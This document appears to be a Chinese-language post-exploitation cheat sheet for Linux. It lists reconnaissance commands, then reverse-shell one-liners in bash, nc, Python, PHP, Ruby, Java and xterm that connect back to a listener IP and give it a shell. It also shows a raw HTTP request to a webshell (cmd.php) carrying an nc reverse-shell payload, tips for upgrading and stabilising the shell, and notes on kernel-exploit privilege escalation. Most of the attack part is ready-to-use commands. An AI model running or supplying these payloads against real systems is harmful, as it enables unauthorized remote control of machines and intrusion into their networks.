1.常用命令

uname -a #查看内核/操作系统/cpu信息
hend -n 1 /etc/issue #查看操作系统版本
cat /proc/version #查看系统信息
hostname #查看计算机名
env #查看环境变量
ifconfig #查看网卡
netstat -lntp # 查看所有监听端口
netstat -antp # 查看所有已经建立的连接
netstat -s # 查看网络统计信息
iptables -L #查看防火墙设置
route -n # 查看路由表
ps -ef # 查看所有进程
top # 实时显示进程状态
w # 查看活动用户
id # 查看指定用户信息
last # 查看用户登录日志
cut -d: -f1 /etc/passwd # 查看系统所有用户
cut -d: -f1 /etc/group # 查看系统所有组
crontab -l # 查看当前用户的计划任务
chkconfig –list # 列出所有系统服务
chkconfig –list | grep on # 列出所有启动的系统服务
echo $PATH #查看系统路径

2.反弹shell命令

使用nc对本地端口监听

nc -lvnp 8888

1.bash反弹

bash -i >& /dev/tcp/ip_address/port 0>&1
bash -c "bash -i >& /dev/tcp/192.168.0.189/6666 0>&1"

2.nc反弹

nc -e /bin/sh 192.168.2.130 4444
但某些版本的nc没有-e参数(非传统版),则可使用以下方式解决
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f

3.python

import socket,subprocess,os
s =socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(( "192.168.2.130" , 4444 ))
os.dup2(s.fileno(), 0 )
os.dup2(s.fileno(), 1 )
os.dup2(s.fileno(), 2 )
p = subprocess.call([ "/bin/bash" , "-i" ])

4.php反弹shell

php -r '$sock=fsockopen("192.168.2.130",4444);exec("/bin/sh -i <&3 >&3 2>&3");'

5.ruby反弹shell

ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i
<&%d >&%d 2>&%d",f,f,f)'

6.Java反弹shell

r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/2002;cat <&5 | while read
line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()

7.xterm反弹shell

xterm -display 10.0.0.1:1
POST /cmd.php HTTP/1.1
Host: 192.168.0.124
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:92.0) Gecko/20100101
Firefox/92.0
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 101
cmd=system('rm+/tmp/f%3bmkfifo+/tmp/f%3bcat+/tmp/f|/bin/sh+-
i+2>%261|nc+192.168.0.189+8888+>/tmp/f');

3.python调用本地shell实现交互式命令行

终端有些时候系统的命令终端不允许直接访问,可以使用python虚拟化一个终端来执行

python -c 'import pty;pty.spawn("/bin/bash")'
python3 -c 'import pty;pty.spawn("/bin/bash")'

使用su命令 提示错误

A1

4.Linux反弹shell解决乱码

ctrl+z 放置后台任务 设置原始格式

stty -echo raw

fg再调用后台任务

A2

5.LINUX 内核漏洞提权

通常我们在拥有一个webshell的时候,一般权限都是WEB容器权限,如在iis就是iis用户组权限,在
apache 就是apache权限,一般都是权限较低,均可执行一些普通命令,如查看当前用户,网络信息,
ip信息等。如果我想进行内网渗透就必须将权限提权到最高,如系统权限 超级管理员权限。
内核溢出提权
利用堆栈溢出漏洞,根据当前系统 寻找对应的漏洞的exp 使用exp对其进行提权。

uname -a 
cat /proc/version 
cat /etc/issue 
cat /etc/redhat-release 
lsb_release -a

根据linux的内核版本去找对应的exp